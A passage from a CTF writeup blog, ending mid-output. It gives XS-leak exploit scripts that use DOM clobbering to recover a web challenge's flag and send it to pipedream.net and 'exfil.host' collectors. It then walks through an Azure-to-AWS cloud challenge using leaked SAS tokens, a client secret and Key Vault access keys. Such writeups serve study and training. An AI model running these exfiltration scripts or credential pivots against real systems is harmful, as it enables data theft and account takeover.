            NOTREACHED();
        }
    } );

});
```

The important part is, once again, the message event handler. Just like the previous challenge, we had to use a subdomain takeover to serve an exploit page from a `.jsapi.tech` subdomain.

```javascript
window.addEventListener( 'message', (e) => {
    if ( !e.origin.endsWith('jsapi.tech') ) return;
    const data = e.data;
    if ( typeof data !== 'object' && typeof data.op !== 'string' && typeof data.payload !== 'string' ) return;
    if ( data.op === 'preview' ) {
        NotesManager.getCurrentNoteManager().preview( data.payload );
    } else if ( data.op === 'set' ) {
        NotesManager.getCurrentNoteManager().set( data.payload );
    } else if ( data.op === 'search' ) {
        NotesManager.getCurrentNoteManager().search( data.payload );
    } else {
        NOTREACHED();
    }
} );
```

One interesting feature in this version of the challenge is that we can "preview" our HTML *without saving it*. Everything is still sanitized through DOMPurify.

```javascript
/**
 * Previews text, if text is null will preview existing note
 * @param {String} [text] String to preview
 */
preview(text) {
    if ( typeof text !== 'string' && !!text ) return;
    if ( !text ) text = this.noteData;
    else text = DOMPurify.sanitize( text );
    this.previewNode.innerHTML = text;
}
```

In the preview feature, we can insert sanitized HTML without changing `this.noteData`. When using the search feature, the original `this.noteData` is the one being searched for our input text.

```javascript
/**
 * Search for the particular text
 * @param {String} text text to search for
 */
search(text) {
    if ( typeof text !== 'string' ) return;
    if ( !window.enable_experimental_features ) return;
    // TODO(sohom): Address concerns raised by our internal security
    // team regarding this API at b/1337. Given that this API
    // is effectively a no-op and is not current exposed anywhere
    // as of version 0.0.1 it should be fine for now.
    // Since our internal bug tracker is well, "internal"
    // I have dumped relevant portion of the b/1337 at
    // https://github.com/sohomdatta1/jsapi-issues/issues/1
    text = DOMPurify.sanitize( text );
    const doesMatch = this.noteData.includes(text);
    if ( doesMatch ) {
        var lastIndex = 0, i = 0;
        for(var i = this.noteData.substring(i).indexOf(text); i < this.noteData.length; i = i + text.length + this.noteData.substring(i + text.length).indexOf(text)) {
            if ( lastIndex > i ) break;
            this.highlightNode.innerHTML += escapeHtml( this.noteData.substring(lastIndex,i) );
            this.highlightNode.innerHTML += `<mark>${escapeHtml( text ) }</mark>`
            lastIndex = i + text.length;
        }
        document.querySelector( '#note-text-highlight-wrapper' ).classList.remove( 'hidden' );
    }
}
```

The search feature checks for `window.enable_experimental_features`, which is a property that doesn't exist... or does it?

DOMPurify doesn't protect against DOM clobbering, so we can pollute this property by inserting the following HTML through the preview feature.

```html
<a href="asdf" id="enable_experimental_features">CLOBBERED</a>
```

### Unintended Solution

When the text that we are searching is found in the victim's note, a new `<div>` is rendered with the search results (`#note-text-highlight-wrapper` has its `hidden` class removed).

For instance, the following shows a correct search (where the searched content is a substring of the flag).

<figure><img src="/files/1wLeJ5iMkMUgiywosEGb" alt=""><figcaption></figcaption></figure>

And the following shows an incorrect search, where no matches are found. Notice how the extra `<div>` in the correct search was sufficient to push the previewed content out of the viewport.

<figure><img src="/files/szUmIGbrxSlSCHvUx9rk" alt=""><figcaption></figcaption></figure>

We can make use of [image lazy loading](https://web.dev/browser-level-image-lazy-loading/) to only load an image if it is within the browser viewport. This way, we are able to tell if the results section was rendered.

```markup
<a href="asdf" id="enable_experimental_features">CLOBBERED</a>
<img src="https://EXFIL.x.pipedream.net?nope=${CURR_FLAG + char}" loading="lazy">
```

If we do *not* receive a request for a particular character, that means that the results section was rendered, and therefore the search was a correct guess.

The following script implements this exploit.

```javascript
const sleep = (milliseconds) => {
    return new Promise(resolve => setTimeout(resolve, milliseconds))
}

(async () => {
    const CURR_FLAG = "nite{hello_longtasktimingapi_3a2c53"
    const CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_}"

    for (let char of CHARSET) {
        const frame = document.createElement("iframe")
        frame.width = "100%"
        frame.height = "100%"
        frame.src = "https://challenge.jsapi.tech"
        document.body.appendChild(frame)
        
        await sleep(500);

        frame.contentWindow.postMessage(
            {
                op: "preview",
                payload: `<a href="asdf" id="enable_experimental_features">CLOBBERED</a><img src="https://enrueq28ozwok.x.pipedream.net?nope=${CURR_FLAG + char}" loading="lazy">`
            },
            "*"
        )
        frame.contentWindow.postMessage(
            {
                op: "search",
                payload: CURR_FLAG + char
            },
            "*"
        )
        
        await sleep(500);

        frame.remove()
    }
})()
```

### Intended Solution

The intended solution was to use the [PerformanceLongTaskTiming API](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) to identify if the search was taking more than 50ms.

It turns out, however, any timing attack with `performance.now()` would have worked as well.

Because the JavaScript event loop is single-threaded, we just need to use `setTimeout` to temporarily pass control to the next thing in the callback queue (which is the message handler taking care of the `search` request), then find out how long it took for control to be passed *back* to our exploit script.

Although the `setTimeout` is only for 1ms, it takes much longer in reality for execution to resume because the expensive `search` function blocks the event loop. By measuring this discrepancy, we can find out if our guess was correct.

```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
    let w = frame.contentWindow;
    w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
    await sleep(1);
    w.postMessage({'op': 'search', 'payload': flag}, '*');
    let t1 = performance.now();
    await sleep(1);
    return (performance.now() - t1) > 200;
}

async function main() {
    let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
    window.frame = document.createElement('iframe');
    frame.width = '100%';
    frame.height = '700px';
    frame.src = 'https://challenge.jsapi.tech/';
    document.body.appendChild(frame);
    await sleep(1000);

    let flag = 'nite{';
    while(1) {
        for(let c of alpha) {
            let result = await Promise.race([
                check(flag + c),
                new Promise((res) => setTimeout(() => { res(true); }, 300))
            ]);
            console.log(flag + c, result);
            if(result) {
                flag += c;
                break;
            }
        }
        new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
    }
}

document.addEventListener('DOMContentLoaded', main);
```


# STACK the Flags 2022

STACK the Flags is a 48-hour, online jeopardy-style Capture-the-Flag competition organised by GovTech’s Cyber Security Group.

I had fun playing this CTF casually with my friends, and trying out some interesting new categories like Cloud and IoT!

<figure><img src="/files/hF8aLLPsXsf9LOmPtKRB" alt=""><figcaption></figcaption></figure>

Unfortunately, some challenges were contributed by Hack The Box and writeups for these are embargoed. Here are the rest of the writeups for the more interesting challenges I solved!

| Challenge                                                                     | Category |
| ----------------------------------------------------------------------------- | -------- |
| [Secret of Meow Olympurr](/2022/stack-the-flags-2022/secret-of-meow-olympurr) | Cloud    |
| [The Blacksmith](/2022/stack-the-flags-2022/the-blacksmith)                   | Web      |
| [BeautyCare](/2022/stack-the-flags-2022/beautycare)                           | Fullpwn  |
| [Electrogrid](/2022/stack-the-flags-2022/electrogrid)                         | Fullpwn  |
| [GutHib Actions](/2022/stack-the-flags-2022/guthib-actions)                   | Misc     |


# Secret of Meow Olympurr

## Description

> Jaga reached Meow Olympurr and met some native Meows. While cautious at first, they warmed up and shared that they have recently created a website to promote tourism!\
> However, the young Meows explained that they are not cy-purr security trained and would like to understand what they might have misconfigured in their environments. The young Meows were trying to get two different environments to work together, but it seems like something is breaking....\
> Log a cy-purr security case by invoking the *mysterious* function and retrieve the secret code!\
> `d2p9lw76n0gfo0.cloudfront.net`

## Finding the Azure Blob Storage

We are provided with a CloudFront page, `https://d2p9lw76n0gfo0.cloudfront.net`.

<figure><img src="/files/ABUeoWMIDohQY7j0X6c5" alt=""><figcaption></figcaption></figure>

I initially tried scanning the page for any hidden files or directories but didn't have any luck with that. But looking at the 404 error page raised some suspicions as an image failed to load.

<figure><img src="/files/bGfpQkM4KqTK08LNtnS9" alt=""><figcaption></figcaption></figure>

This is due to mixed content - an HTTP image is being loaded on an HTTP**S** page, and modern browsers do not allow this.

<figure><img src="/files/yfWjro1MrDwReSTqUOGi" alt=""><figcaption></figcaption></figure>

The image URL is interesting - it uses a [CORS-Anywhere](https://github.com/Rob--W/cors-anywhere/) proxy running at `http://18.141.147.115:8080` to add CORS headers to the resource from `https://meowolympurr.z23.web.core.windows.net/images/ohno.jpg`.

<figure><img src="/files/w46JLTmp8HbOsacjwdLD" alt=""><figcaption></figcaption></figure>

The resource being fetched is an [Azure Blob Storage URL](https://learn.microsoft.com/en-us/azure/storage/common/storage-account-overview) for the `meowolympurr` account. Let's visit the 404 error page again, this time on the `meowolympurr.z23.web.core.windows.net` blob storage.

<figure><img src="/files/oe1PdX35gL0Nf5ZMdgRh" alt=""><figcaption></figcaption></figure>

This time, the same error image is fetched with a [Shared Access Signature (SAS)](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview) token, and an HTML comment hints at using the SAS token to access the website's source code.

{% code overflow="wrap" %}

```markup
<img src="images/ohno.jpg?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D"/>

...
                       
<!-- 
  For access to website source codes: 
  https://meowolympurr.blob.core.windows.net?sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D
-->
```

{% endcode %}

The content in the `index.html` page is similar to what was hosted on the CloudFront page, except for a new paragraph at the end of the page.

{% code overflow="wrap" %}

```markup
<div class="p-5 text-center bg-light">
  <p class="lead text-muted">Have an event you are interested to host but it is not listed here? Submit it <a href="https://olympurr-app.azurewebsites.net/api/meowvellous">here</a>!</p>
</div>
```

{% endcode %}

## The SSRF Rabbit Hole

This new URL appears to be a dynamic site! All it does is fetch the URL provided in the `url` GET parameter, and return the fetched response.

{% code overflow="wrap" %}

```
Found an interesting event you would like to organise in Meow Olympurr?
Pass the URL as a query string. You will see the submitted information if it is successful. 
e.g. https://olympurr-app.azurewebsites.net/api/meowvellous?url=<INSERT>
```

{% endcode %}

Such an [SSRF](https://portswigger.net/web-security/ssrf) may prove useful, but we are not yet sure of the environment this code is running in, and most importantly, we don't have the source code. Nonetheless, I spent some time trying to hit potential internal resources with the SSRF but had no luck.

Heading over to the root URL of `https://olympurr-app.azurewebsites.net`, we see that this is an [Azure functions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-overview) application.

<figure><img src="/files/qCUjPsxPfsdWLe6WmbCZ" alt=""><figcaption></figcaption></figure>

While Azure VMs have access to a metadata server, this is not applicable to a serverless function. It seems that the SSRF itself might not be so useful after all.

## A Very Sassy Challenge

We previously found a SAS token and a hint to access the website's source code, so let's see if we could find the source code of this function somewhere.

Let's start with listing the containers available. We can do this using the [List Containers](https://learn.microsoft.com/en-us/rest/api/storageservices/list-containers2?tabs=azure-ad) operation of the [Blob Service REST API](https://learn.microsoft.com/en-us/rest/api/storageservices/blob-service-rest-api). Simply specify `comp=list`, and append the SAS token:

`https://meowolympurr.blob.core.windows.net/?comp=list&sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D`

This gives us the following list of containers.

```markup
<EnumerationResults ServiceEndpoint="https://meowolympurr.blob.core.windows.net/">
<Containers>
<Container>
<Name>$web</Name>
<Properties>
<Last-Modified>Fri, 18 Nov 2022 03:23:11 GMT</Last-Modified>
<Etag>"0x8DAC914387D8CC7"</Etag>
<LeaseStatus>unlocked</LeaseStatus>
<LeaseState>available</LeaseState>
</Properties>
</Container>
<Container>
<Name>dev</Name>
<Properties>
<Last-Modified>Fri, 18 Nov 2022 03:23:11 GMT</Last-Modified>
<Etag>"0x8DAC91438FC71A6"</Etag>
<LeaseStatus>unlocked</LeaseStatus>
<LeaseState>available</LeaseState>
</Properties>
</Container>
</Containers>
<NextMarker/>
</EnumerationResults>
```

Once we have the container name, we could use the [List Blobs](https://learn.microsoft.com/en-us/rest/api/storageservices/list-blobs?tabs=azure-ad) operation to list the blobs under the specified container. For example, the following lists all blobs under the `$web` container.

`https://meowolympurr.blob.core.windows.net/$web?restype=container&comp=list&sv=2017-07-29&ss=b&srt=sco&sp=rl&se=2022-12-12T00:00:00Z&st=2022-09-01T00:00:00Z&spr=https&sig=UE2%2FTMTAzDnyJEABpX4OYFBs1b1uAWjwEEAtjeQtwxg%3D`

The `$web` container contains the static files served to us at the start of the challenge.

```markup
<EnumerationResults ServiceEndpoint="https://meowolympurr.blob.core.windows.net/" ContainerName="$web">
<Blobs>
<Blob>
<Name>error.html</Name>

...

</Blobs>
<NextMarker/>
</EnumerationResults>
```

The `dev` container, on the other hand, contained an interesting `readme.md` file.

```markup
<EnumerationResults ServiceEndpoint="https://meowolympurr.blob.core.windows.net/" ContainerName="dev">
<Blobs>
<Blob>
<Name>readme.md</Name>
<Properties>
<Last-Modified>Fri, 18 Nov 2022 03:23:56 GMT</Last-Modified>
<Etag>0x8DAC9145356C5EF</Etag>
<Content-Length>901</Content-Length>
<Content-Type>text/plain</Content-Type>
<Content-Encoding/>
<Content-Language/>
<Content-MD5/>
<Cache-Control/>
<Content-Disposition/>
<BlobType>BlockBlob</BlobType>
<AccessTier>Hot</AccessTier>
<AccessTierInferred>true</AccessTierInferred>
<LeaseStatus>unlocked</LeaseStatus>
<LeaseState>available</LeaseState>
<ServerEncrypted>true</ServerEncrypted>
</Properties>
</Blob>
</Blobs>
<NextMarker/>
</EnumerationResults>
```

Using the same SAS token, we can head over to `/dev/readme.md` to read it.

{% code overflow="wrap" %}

```markdown
# Meow Olympurr 
One stop service for all fun activites in Meow Olympurr! 
    
All resources are hosted on a single tenant: 83e595f4-f086-4f2f-9de8-d698b6012093

Meows are not cy-purr security trained, but we are willing to learn! 
    
# To do 
1. Consolidate the asset list 
2. Seek advice from Jaga and team when they arrive! 
3. Integrate services 
4. Remove credentials used for debugging access to function app

# Function app - https://olympurr-app.azurewebsites.net/api/meowvellous
SAS token to access the scm-releases container: ?sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXlk%2FpABrK4Eo%3D

## Credentials for debugging
The following service principal has the same privileges as the function app
Application ID: ee92075f-4ddc-4522-a12c-2bc0ab874c85
Client Secret: kmk8Q~mGYD9jNfgm~rcIOMRgiC9ekKtNEw5GPaS7
```

{% endcode %}

## I Find Your Lack of Sauce... Disturbing

We are finally one step closer to getting the coveted sauce code for the function app!

It looks like we got our hands on some Azure credentials, and yet another SAS token. Using the tenant ID, application ID and client secret, we can login through the Azure CLI.

```bash
$ az login --service-principal -u ee92075f-4ddc-4522-a12c-2bc0ab874c85 -p kmk8Q~mGYD9jNfgm~rcIOMRgiC9ekKtNEw5GPaS7 --tenant 83e595f4-f086-4f2f-9de8-d698b6012093
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "83e595f4-f086-4f2f-9de8-d698b6012093",
    "id": "bb11df92-eff5-47b6-b940-a3ce6ded6431",
    "isDefault": true,
    "managedByTenants": [],
    "name": "STF2022",
    "state": "Enabled",
    "tenantId": "83e595f4-f086-4f2f-9de8-d698b6012093",
    "user": {
      "name": "ee92075f-4ddc-4522-a12c-2bc0ab874c85",
      "type": "servicePrincipal"
    }
  }
]
```

The Azure CLI provides a very convenient [resource API](https://learn.microsoft.com/en-us/cli/azure/resource?view=azure-cli-latest) that allows us to list all resources using the `az resource list` command. Here's the result of running that command.

```json
[
  {
    "changedTime": "2022-11-18T03:33:08.162536+00:00",
    "createdTime": "2022-11-18T03:22:43.780421+00:00",
    "extendedLocation": null,
    "id": "/subscriptions/bb11df92-eff5-47b6-b940-a3ce6ded6431/resourceGroups/meow-olympurr-resource-group/providers/Microsoft.Storage/storageAccounts/meowvellousappstorage",
    "identity": {
      "principalId": null,
      "tenantId": null,
      "type": "None",
      "userAssignedIdentities": null
    },
    "kind": "StorageV2",
    "location": "southeastasia",
    "managedBy": null,
    "name": "meowvellousappstorage",
    "plan": null,
    "properties": null,
    "provisioningState": "Succeeded",
    "resourceGroup": "meow-olympurr-resource-group",
    "sku": {
      "capacity": null,
      "family": null,
      "model": null,
      "name": "Standard_LRS",
      "size": null,
      "tier": "Standard"
    },
    "tags": {},
    "type": "Microsoft.Storage/storageAccounts"
  },
  {
    "changedTime": "2022-11-18T03:33:11.903580+00:00",
    "createdTime": "2022-11-18T03:22:43.745326+00:00",
    "extendedLocation": null,
    "id": "/subscriptions/bb11df92-eff5-47b6-b940-a3ce6ded6431/resourceGroups/meow-olympurr-resource-group/providers/Microsoft.Storage/storageAccounts/meowolympurr",
    "identity": {
      "principalId": null,
      "tenantId": null,
      "type": "None",
      "userAssignedIdentities": null
    },
    "kind": "StorageV2",
    "location": "southeastasia",
    "managedBy": null,
    "name": "meowolympurr",
    "plan": null,
    "properties": null,
    "provisioningState": "Succeeded",
    "resourceGroup": "meow-olympurr-resource-group",
    "sku": {
      "capacity": null,
      "family": null,
      "model": null,
      "name": "Standard_LRS",
      "size": null,
      "tier": "Standard"
    },
    "tags": {},
    "type": "Microsoft.Storage/storageAccounts"
  }
]
```

It looks like this service principal has access to a different storage account, by the name of `meowvellousappstorage`. After discovering this storage blob name, we can use the provided SAS token to access the `scm-releases` container:

`https://meowvellousappstorage.blob.core.windows.net/scm-releases?restype=container&comp=list&sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXlk%2FpABrK4Eo%3D`

This container contains a single ZIP file, `scm-latest-olympurr-app.zip`, which contains the source code of the function.

```markup
<EnumerationResults ServiceEndpoint="https://meowvellousappstorage.blob.core.windows.net/" ContainerName="scm-releases">
<Blobs>
<Blob>
<Name>scm-latest-olympurr-app.zip</Name>
<Properties>
<Creation-Time>Fri, 18 Nov 2022 03:26:09 GMT</Creation-Time>
<Last-Modified>Fri, 18 Nov 2022 03:26:09 GMT</Last-Modified>
<Etag>0x8DAC914A3100599</Etag>
<Content-Length>18616320</Content-Length>
<Content-Type>application/octet-stream</Content-Type>
<Content-Encoding/>
<Content-Language/>
<Content-MD5>odp8dya/HBVlw8Ij9/HYFg==</Content-MD5>
<Cache-Control/>
<Content-Disposition/>
<BlobType>BlockBlob</BlobType>
<AccessTier>Hot</AccessTier>
<AccessTierInferred>true</AccessTierInferred>
<LeaseStatus>unlocked</LeaseStatus>
<LeaseState>available</LeaseState>
<ServerEncrypted>true</ServerEncrypted>
</Properties>
</Blob>
</Blobs>
<NextMarker/>
</EnumerationResults>
```

This contains the source code of the function app.

## Goodbye Bill, Hello Jeff

```python
import boto3
import requests
import json

import azure.functions as func
from azure.identity import ManagedIdentityCredential
from azure.keyvault.secrets import SecretClient

functionName = "event-webservice"
keyName = "AKIA5G4XMRW7TLT6XD7R"

def logURL(url):
    identity = ManagedIdentityCredential()
    secretClient = SecretClient(vault_url="https://olympurr-aws.vault.azure.net/", credential=identity)
    secret = secretClient.get_secret(keyName).value
    session = boto3.Session(
        aws_access_key_id=keyName,
        aws_secret_access_key=secret
    )
    
    lambda_client = session.client("lambda", region_name="ap-southeast-1")

    details = {"url" : url}
    lambda_client.invoke(
        FunctionName=functionName,
        InvocationType="RequestResponse",
        Payload=bytes(json.dumps(details), "utf-8")
    )
    return secret

def main(req: func.HttpRequest) -> func.HttpResponse:
    url = req.params.get('url')

    if not url:
        try:
            req_body = req.get_json()
        except ValueError:
            pass
        else:
            name = req_body.get('url')

    if url:
        # Log the URL in AWS 
        secret = logURL(url)
        try:
            response = requests.get(url)
            return func.HttpResponse(response.text)
        except Exception as e:
            return func.HttpResponse(str(e))
    
    return func.HttpResponse(
            """Found an interesting event you would like to organise in Meow Olympurr?
Pass the URL as a query string. You will see the submitted information if it is successful. 
e.g. https://olympurr-app.azurewebsites.net/api/meowvellous?url=<INSERT>
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⠋⠈⠻⣮⣳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⡿⠋⠀⠀⠀⠀⠙⣿⣿⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⡿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠈⠛⠛⠿⠿⣿⣷⣶⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⣿⣶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣀⣠⣤⣤⣀⡀⠀⠀⣀⣴⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣿⣷⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣄⠀⠀
⢀⣤⣾⡿⠟⠛⠛⢿⣿⣶⣾⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⣿⣷⣦⣀⣀⣤⣶⣿⡿⠿⢿⣿⡀⠀
⣿⣿⠏⠀⢰⡆⠀⠀⠉⢿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⢿⡿⠟⠋⠁⠀⠀⢸⣿⠇⠀
⣿⡟⠀⣀⠈⣀⡀⠒⠃⠀⠙⣿⡆⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠇⠀
⣿⡇⠀⠛⢠⡋⢙⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀
⣿⣧⠀⠀⠀⠓⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠋⠀⠀⢸⣧⣤⣤⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡿⠀⠀
⣿⣿⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠻⣷⣶⣶⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⠁⠀⠀
⠈⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⡏⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠻⠿⢿⣿⣷⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠛⠿⠿⣿⣷⣶⣶⣤⣤⣀⡀⠀⠀⠀⢀⣴⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡿⣄
   Send us the details!            ⠀⠀⠉⠉⠛⠛⠿⠿⣿⣷⣶⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣹
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⠀⢸⣧
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣆⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⣶⣾⣿⣿⣿⣿⣤⣄⣀⡀⠀⠀⠀⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣻⣷⣶⣾⣿⣿⡿⢯⣛⣛⡋⠁⠀⠀⠉⠙⠛⠛⠿⣿⣿⡷⣶⣿
            """,
            status_code=200
    )

```

Taking a look at the source code, we see that a `secret` is obtained from an Azure [key vault](https://azure.microsoft.com/en-us/products/key-vault/) and used as the secret access key for an AWS session.

As stated previously in the `readme.md`, the service principal account we have access to "has the same privileges as the function app". This means that we should be able to retrieve this secret from the key vault.

```bash
$ az keyvault secret show --name AKIA5G4XMRW7TLT6XD7R --vault-name olympurr-aws
{
  "attributes": {
    "created": "2022-11-18T03:25:20+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoveryLevel": "CustomizedRecoverable+Purgeable",
    "updated": "2022-11-18T03:25:20+00:00"
  },
  "contentType": "",
  "id": "https://olympurr-aws.vault.azure.net/secrets/AKIA5G4XMRW7TLT6XD7R/05c534380f7b480d90dcaffc7364bce6",
  "kid": null,
  "managed": null,
  "name": "AKIA5G4XMRW7TLT6XD7R",
  "tags": {},
  "value": "fgQdSIETJp/yBKwWbmf2SprGa2eXWyqgkeeIdWtL"
}
```

Next, an AWS [lambda function](https://docs.aws.amazon.com/lambda/latest/dg/welcome.html) by the name of `event-webservice` is invoked.

Before we proceed with exploring AWS, we need to log in by configuring the access key ID and secret access key we just found in our AWS CLI.

```
$ aws configure
AWS Access Key ID [****************F6I5]: AKIA5G4XMRW7TLT6XD7R
AWS Secret Access Key [****************AFl2]: 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
Default region name [ap-southeast-1]:
Default output format [None]:

$ aws sts get-caller-identity
{
    "UserId": "AIDA5G4XMRW7UAWT26Q6Q",
    "Account": "908166204863",
    "Arn": "arn:aws:iam::908166204863:user/azure_user"
}
```

Great! Now we can take a look at the user policies attached to our user to gain a better understanding of our privileges.

```bash
$ aws iam list-attached-user-policies --user-name azure_user
{
    "AttachedPolicies": [
        {
            "PolicyName": "azure-policy",
            "PolicyArn": "arn:aws:iam::908166204863:policy/azure-policy"
        },
        {
            "PolicyName": "azure-policy-extended",
            "PolicyArn": "arn:aws:iam::908166204863:policy/azure-policy-extended"
        }
    ]
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::908166204863:policy/azure-policy-extended --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:AddUserToGroup",
                        "iam:AttachUserPolicy",
